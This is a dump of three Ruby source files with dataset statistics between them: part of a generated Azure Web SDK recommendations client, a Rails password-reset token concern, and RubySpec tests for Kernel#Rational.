query_params: {'api-version' => @client.api_version},
headers: request_headers.merge(custom_headers || {}),
base_url: request_url
}
promise = @client.make_request_async(:post, path_template, options)
promise = promise.then do |result|
http_response = result.response
status_code = http_response.status
response_content = http_response.body
unless status_code == 200
error_model = JSON.load(response_content)
fail MsRestAzure::AzureOperationError.new(result.request, http_response, error_model)
end
result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil?
result
end
promise.execute
end
#
# List all recommendations for a subscription.
#
# List all recommendations for a subscription.
#
# @param next_page_link [String] The NextLink from the previous successful call
# to List operation.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [RecommendationCollection] operation results.
#
def list_next(next_page_link, custom_headers:nil)
response = list_next_async(next_page_link, custom_headers:custom_headers).value!
response.body unless response.nil?
end
#
# List all recommendations for a subscription.
#
# List all recommendations for a subscription.
#
# @param next_page_link [String] The NextLink from the previous successful call
# to List operation.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [MsRestAzure::AzureOperationResponse] HTTP response information.
#
def list_next_with_http_info(next_page_link, custom_headers:nil)
list_next_async(next_page_link, custom_headers:custom_headers).value!
end
#
# List all recommendations for a subscription.
#
# List all recommendations for a subscription.
#
# @param next_page_link [String] The NextLink from the previous successful call
# to List operation.
# @param [Hash{String => String}] A hash of custom headers that will be added
# to the HTTP request.
#
# @return [Concurrent::Promise] Promise object which holds the HTTP response.
#
def list_next_async(next_page_link, custom_headers:nil)
fail ArgumentError, 'next_page_link is nil' if next_page_link.nil?
request_headers = {}
request_headers['Content-Type'] = 'application/json; charset=utf-8'
# Set Headers
request_headers['x-ms-client-request-id'] = SecureRandom.uuid
request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil?
path_template = '{nextLink}'
request_url = @base_url || @client.base_url
options = {
middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]],
skip_encoding_path_params: {'nextLink' => next_page_link},
headers: request_headers.merge(custom_headers || {}),
base_url: request_url
}
promise = @client.make_request_async(:get, path_template, options)
promise = promise.then do |result|
http_response = result.response
status_code = http_response.status
response_content = http_response.body
unless status_code == 200
error_model = JSON.load(response_content)
fail MsRest::HttpOperationError.new(result.request, http_response, error_model)
end
result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil?
# Deserialize Response
if status_code == 200
begin
parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content)
result_mapper = Azure::Web::Mgmt::V2018_02_01::Models::RecommendationCollection.mapper()
result.body = @client.deserialize(result_mapper, parsed_response)
rescue Exception => e
fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result)
end
end
result
end
promise.execute
end
#
# Get past recommendations for an app, optionally specified by the time range.
#
# Get past recommendations for an app, optionally specified by the time range.
#
# @param next_page_link [String] The NextLink from the previous successful call
# to List operation.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [RecommendationCollection] operation results.
#
def list_history_for_web_app_next(next_page_link, custom_headers:nil)
response = list_history_for_web_app_next_async(next_page_link, custom_headers:custom_headers).value!
response.body unless response.nil?
end
#
# Get past recommendations for an app, optionally specified by the time range.
#
# Get past recommendations for an app, optionally specified by the time range.
#
# @param next_page_link [String] The NextLink from the previous successful call
# to List operation.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [MsRestAzure::AzureOperationResponse] HTTP response information.
#
def list_history_for_web_app_next_with_http_info(next_page_link, custom_headers:nil)
list_history_for_web_app_next_async(next_page_link, custom_headers:custom_headers).value!
end
#
# Get past recommendations for an app, optionally specified by the time range.
#
# Get past recommendations for an app, optionally specified by the time range.
#
# @param next_page_link [String] The NextLink from the previous successful call
# to List operation.
# @param [Hash{String => String}] A hash of custom headers that will be added
# to the HTTP request.
#
# @return [Concurrent::Promise] Promise object which holds the HTTP response.
#
def list_history_for_web_app_next_async(next_page_link, custom_headers:nil)
fail ArgumentError, 'next_page_link is nil' if next_page_link.nil?
request_headers = {}
request_headers['Content-Type'] = 'application/json; charset=utf-8'
# Set Headers
request_headers['x-ms-client-request-id'] = SecureRandom.uuid
request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil?
path_template = '{nextLink}'
request_url = @base_url || @client.base_url
options = {
middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]],
skip_encoding_path_params: {'nextLink' => next_page_link},
headers: request_headers.merge(custom_headers || {}),
base_url: request_url
}
promise = @client.make_request_async(:get, path_template, options)
promise = promise.then do |result|
http_response = result.response
status_code = http_response.status
response_content = http_response.body
unless status_code == 200
error_model = JSON.load(response_content)
fail MsRest::HttpOperationError.new(result.request, http_response, error_model)
end
result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil?
# Deserialize Response
if status_code == 200
begin
parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content)
result_mapper = Azure::Web::Mgmt::V2018_02_01::Models::RecommendationCollection.mapper()
result.body = @client.deserialize(result_mapper, parsed_response)
rescue Exception => e
fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result)
end
end
result
end
promise.execute
end
#
# Get all recommendations for an app.
#
# Get all recommendations for an app.
#
# @param next_page_link [String] The NextLink from the previous successful call
# to List operation.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [RecommendationCollection] operation results.
#
def list_recommended_rules_for_web_app_next(next_page_link, custom_headers:nil)
response = list_recommended_rules_for_web_app_next_async(next_page_link, custom_headers:custom_headers).value!
response.body unless response.nil?
end
#
# Get all recommendations for an app.
#
# Get all recommendations for an app.
#
# @param next_page_link [String] The NextLink from the previous successful call
# to List operation.
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [MsRestAzure::AzureOperationResponse] HTTP response information.
#
def list_recommended_rules_for_web_app_next_with_http_info(next_page_link, custom_headers:nil)
list_recommended_rules_for_web_app_next_async(next_page_link, custom_headers:custom_headers).value!
end
#
# Get all recommendations for an app.
#
# Get all recommendations for an app.
#
# @param next_page_link [String] The NextLink from the previous successful call
# to List operation.
# @param [Hash{String => String}] A hash of custom headers that will be added
# to the HTTP request.
#
# @return [Concurrent::Promise] Promise object which holds the HTTP response.
#
def list_recommended_rules_for_web_app_next_async(next_page_link, custom_headers:nil)
fail ArgumentError, 'next_page_link is nil' if next_page_link.nil?
request_headers = {}
request_headers['Content-Type'] = 'application/json; charset=utf-8'
# Set Headers
request_headers['x-ms-client-request-id'] = SecureRandom.uuid
request_headers['accept-language'] = @client.accept_language unless @client.accept_language.nil?
path_template = '{nextLink}'
request_url = @base_url || @client.base_url
options = {
middlewares: [[MsRest::RetryPolicyMiddleware, times: 3, retry: 0.02], [:cookie_jar]],
skip_encoding_path_params: {'nextLink' => next_page_link},
headers: request_headers.merge(custom_headers || {}),
base_url: request_url
}
promise = @client.make_request_async(:get, path_template, options)
promise = promise.then do |result|
http_response = result.response
status_code = http_response.status
response_content = http_response.body
unless status_code == 200
error_model = JSON.load(response_content)
fail MsRest::HttpOperationError.new(result.request, http_response, error_model)
end
result.request_id = http_response['x-ms-request-id'] unless http_response['x-ms-request-id'].nil?
# Deserialize Response
if status_code == 200
begin
parsed_response = response_content.to_s.empty? ? nil : JSON.load(response_content)
result_mapper = Azure::Web::Mgmt::V2018_02_01::Models::RecommendationCollection.mapper()
result.body = @client.deserialize(result_mapper, parsed_response)
rescue Exception => e
fail MsRest::DeserializationError.new('Error occurred in deserializing the response', e.message, e.backtrace, result)
end
end
result
end
promise.execute
end
#
# List all recommendations for a subscription.
#
# List all recommendations for a subscription.
#
# @param featured [Boolean] Specify <code>true</code> to return only the most
# critical recommendations. The default is <code>false</code>, which returns
# all recommendations.
# @param filter [String] Filter is specified by using OData syntax. Example:
# $filter=channel eq 'Api' or channel eq 'Notification' and startTime eq
# 2014-01-01T00:00:00Z and endTime eq 2014-12-31T23:59:59Z and timeGrain eq
# duration'[PT1H|PT1M|P1D]
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [RecommendationCollection] which provide lazy access to pages of the
# response.
#
def list_as_lazy(featured:nil, filter:nil, custom_headers:nil)
response = list_async(featured:featured, filter:filter, custom_headers:custom_headers).value!
unless response.nil?
page = response.body
page.next_method = Proc.new do |next_page_link|
list_next_async(next_page_link, custom_headers:custom_headers)
end
page
end
end
#
# Get past recommendations for an app, optionally specified by the time range.
#
# Get past recommendations for an app, optionally specified by the time range.
#
# @param resource_group_name [String] Name of the resource group to which the
# resource belongs.
# @param site_name [String] Name of the app.
# @param expired_only [Boolean] Specify <code>false</code> to return all
# recommendations. The default is <code>true</code>, which returns only expired
# recommendations.
# @param filter [String] Filter is specified by using OData syntax. Example:
# $filter=channel eq 'Api' or channel eq 'Notification' and startTime eq
# 2014-01-01T00:00:00Z and endTime eq 2014-12-31T23:59:59Z and timeGrain eq
# duration'[PT1H|PT1M|P1D]
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [RecommendationCollection] which provide lazy access to pages of the
# response.
#
def list_history_for_web_app_as_lazy(resource_group_name, site_name, expired_only:nil, filter:nil, custom_headers:nil)
response = list_history_for_web_app_async(resource_group_name, site_name, expired_only:expired_only, filter:filter, custom_headers:custom_headers).value!
unless response.nil?
page = response.body
page.next_method = Proc.new do |next_page_link|
list_history_for_web_app_next_async(next_page_link, custom_headers:custom_headers)
end
page
end
end
#
# Get all recommendations for an app.
#
# Get all recommendations for an app.
#
# @param resource_group_name [String] Name of the resource group to which the
# resource belongs.
# @param site_name [String] Name of the app.
# @param featured [Boolean] Specify <code>true</code> to return only the most
# critical recommendations. The default is <code>false</code>, which returns
# all recommendations.
# @param filter [String] Return only channels specified in the filter. Filter
# is specified by using OData syntax. Example: $filter=channel eq 'Api' or
# channel eq 'Notification'
# @param custom_headers [Hash{String => String}] A hash of custom headers that
# will be added to the HTTP request.
#
# @return [RecommendationCollection] which provide lazy access to pages of the
# response.
#
def list_recommended_rules_for_web_app_as_lazy(resource_group_name, site_name, featured:nil, filter:nil, custom_headers:nil)
response = list_recommended_rules_for_web_app_async(resource_group_name, site_name, featured:featured, filter:filter, custom_headers:custom_headers).value!
unless response.nil?
page = response.body
page.next_method = Proc.new do |next_page_link|
list_recommended_rules_for_web_app_next_async(next_page_link, custom_headers:custom_headers)
end
page
end
end
end
end
| 44.907658 | 216 | 0.697527 |
18e913a253b1952f392069937332bf6fa13a9578 | 2,053 | # Password Reset concern for User model.
module PasswordResetable
extend ActiveSupport::Concern
module ClassMethods
def pass_reset_expiration
Rails.application.config.configurations[:pass_reset_expiration]
end
def pass_reset_token_str_max_length
Rails.application.config.pass_reset_token_str_max_length
end
def pass_resend_delay
Rails.application.config.configurations[:pass_reset_resend_delay]
end
end
included do
has_many :reset_tokens, dependent: :delete_all
end
def can_resend_reset?
expiration_time = User.pass_resend_delay.ago
num_tokens = ResetToken.where(user_id: id).where('created_at > ?',
expiration_time)
.count
num_tokens == 0
end
def reset_password(token, new_pass)
with_lock('FOR UPDATE') do
expiration_time = User.pass_reset_expiration.ago
reset_tokens = ResetToken.where(user_id: id,
token: token).where('created_at >= ?',
expiration_time)
if reset_tokens.count > 0
self.password = new_pass
save!
reset_tokens.delete_all
return true
else
return false
end
end
end
def gen_reset_token
reset_token = with_lock('FOR UPDATE') do
expiration_time = User.pass_reset_expiration.ago
ResetToken.where(user_id: id).where('created_at <= ?',
expiration_time).delete_all
ResetToken.where(user_id: id).order(
created_at: :desc).offset(1).destroy_all
token = ResetToken.where(user_id: id).order(
created_at: :desc).first
token_str = SecureRandom.urlsafe_base64(
User.pass_reset_token_str_max_length)
if !token.nil? && token.created_at <= expiration_time
token.destroy
token = nil
end
token || ResetToken.create(user: self, token: token_str)
end
reset_token.token
end
end
| 30.641791 | 76 | 0.628836 |
0165fa769a80da70228999e010503fe327c3cc14 | 3,059 | require File.expand_path('../../../spec_helper', __FILE__)
require File.expand_path('../../../fixtures/rational', __FILE__)
describe :kernel_Rational, shared: true do
describe "passed Integer" do
# Guard against the Mathn library
conflicts_with :Prime do
it "returns a new Rational number with 1 as the denominator" do
Rational(1).should eql(Rational(1, 1))
Rational(-3).should eql(Rational(-3, 1))
Rational(bignum_value).should eql(Rational(bignum_value, 1))
end
end
end
describe "passed two integers" do
it "returns a new Rational number" do
rat = Rational(1, 2)
rat.numerator.should == 1
rat.denominator.should == 2
rat.should be_an_instance_of(Rational)
rat = Rational(-3, -5)
rat.numerator.should == 3
rat.denominator.should == 5
rat.should be_an_instance_of(Rational)
rat = Rational(bignum_value, 3)
rat.numerator.should == bignum_value
rat.denominator.should == 3
rat.should be_an_instance_of(Rational)
end
it "reduces the Rational" do
rat = Rational(2, 4)
rat.numerator.should == 1
rat.denominator.should == 2
rat = Rational(3, 9)
rat.numerator.should == 1
rat.denominator.should == 3
end
end
describe "when passed a String" do
it "converts the String to a Rational using the same method as String#to_r" do
r = Rational(13, 25)
s_r = ".52".to_r
r_s = Rational(".52")
r_s.should == r
r_s.should == s_r
end
it "scales the Rational value of the first argument by the Rational value of the second" do
Rational(".52", ".6").should == Rational(13, 15)
Rational(".52", "1.6").should == Rational(13, 40)
end
it "does not use the same method as Float#to_r" do
r = Rational(3, 5)
f_r = 0.6.to_r
r_s = Rational("0.6")
r_s.should == r
r_s.should_not == f_r
end
describe "when passed a Numeric" do
it "calls #to_r to convert the first argument to a Rational" do
num = RationalSpecs::SubNumeric.new(2)
Rational(num).should == Rational(2)
end
end
describe "when passed a Complex" do
it "returns a Rational from the real part if the imaginary part is 0" do
Rational(Complex(1, 0)).should == Rational(1)
end
it "raises a RangeError if the imaginary part is not 0" do
lambda { Rational(Complex(1, 2)) }.should raise_error(RangeError)
end
end
it "raises a TypeError if the first argument is nil" do
lambda { Rational(nil) }.should raise_error(TypeError)
end
it "raises a TypeError if the second argument is nil" do
lambda { Rational(1, nil) }.should raise_error(TypeError)
end
it "raises a TypeError if the first argument is a Symbol" do
lambda { Rational(:sym) }.should raise_error(TypeError)
end
it "raises a TypeError if the second argument is a Symbol" do
lambda { Rational(1, :sym) }.should raise_error(TypeError)
end
end
end
| 29.413462 | 95 | 0.63779 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.